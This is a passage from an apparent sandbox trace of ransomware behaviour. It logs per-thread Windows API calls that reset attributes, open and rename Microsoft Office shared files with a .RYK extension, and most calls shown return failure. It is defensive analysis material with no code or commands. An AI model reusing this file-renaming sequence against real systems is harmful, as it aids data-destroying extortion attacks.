	[0167.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 357
	os_tid = 0xdb0

	[0167.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", dwFileAttributes=0x80) returned 0
	[0167.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 358
	os_tid = 0xdb4

	[0167.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", dwFileAttributes=0x80) returned 0
	[0167.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.854] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 359
	os_tid = 0xdb8

	[0167.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", dwFileAttributes=0x80) returned 0
	[0167.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.852] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 360
	os_tid = 0xdbc

	[0167.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", dwFileAttributes=0x80) returned 0
	[0167.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.673] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 361
	os_tid = 0xdc0

	[0167.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", dwFileAttributes=0x80) returned 0
	[0167.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.404] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 362
	os_tid = 0xdc4

	[0167.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", dwFileAttributes=0x80) returned 0
	[0167.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.406] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 363
	os_tid = 0xdc8

	[0167.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", dwFileAttributes=0x80) returned 0
	[0167.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.410] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.410] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 364
	os_tid = 0xdcc

	[0167.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", dwFileAttributes=0x80) returned 0
	[0167.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.677] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 366
	os_tid = 0xdd8

	[0167.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", dwFileAttributes=0x80) returned 0
	[0167.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.680] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.681] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 367
	os_tid = 0xddc

	[0167.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg", dwFileAttributes=0x80) returned 0
	[0167.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.910] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 368
	os_tid = 0xde0

	[0167.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", dwFileAttributes=0x80) returned 0
	[0167.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.690] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 369
	os_tid = 0xdf0

	[0167.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", dwFileAttributes=0x80) returned 0
	[0167.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.982] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 370
	os_tid = 0xdf4

	[0167.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", dwFileAttributes=0x80) returned 0
	[0168.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.120] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 371
	os_tid = 0xdf8

	[0167.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", dwFileAttributes=0x80) returned 0
	[0167.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.986] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 372
	os_tid = 0xdfc

	[0167.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", dwFileAttributes=0x80) returned 0
	[0167.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.988] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 373
	os_tid = 0xe00

	[0167.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", dwFileAttributes=0x80) returned 0
	[0168.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.159] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 374
	os_tid = 0xe04

	[0167.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", dwFileAttributes=0x80) returned 0
	[0167.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.992] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 375
	os_tid = 0xe08

	[0168.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.298] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 376
	os_tid = 0xe0c

	[0168.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.300] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 377
	os_tid = 0xe10

	[0168.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", dwFileAttributes=0x80) returned 0
	[0168.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.392] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 378
	os_tid = 0xe14

	[0168.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", dwFileAttributes=0x80) returned 0
	[0168.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.394] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 379
	os_tid = 0xe18

	[0168.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.396] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 380
	os_tid = 0xe1c

	[0168.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.398] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.398] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 381
	os_tid = 0xe20

	[0168.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", dwFileAttributes=0x80) returned 0
	[0168.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.257] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 382
	os_tid = 0xe24

	[0168.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", dwFileAttributes=0x80) returned 0
	[0168.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.401] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 383
	os_tid = 0xe28

	[0168.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
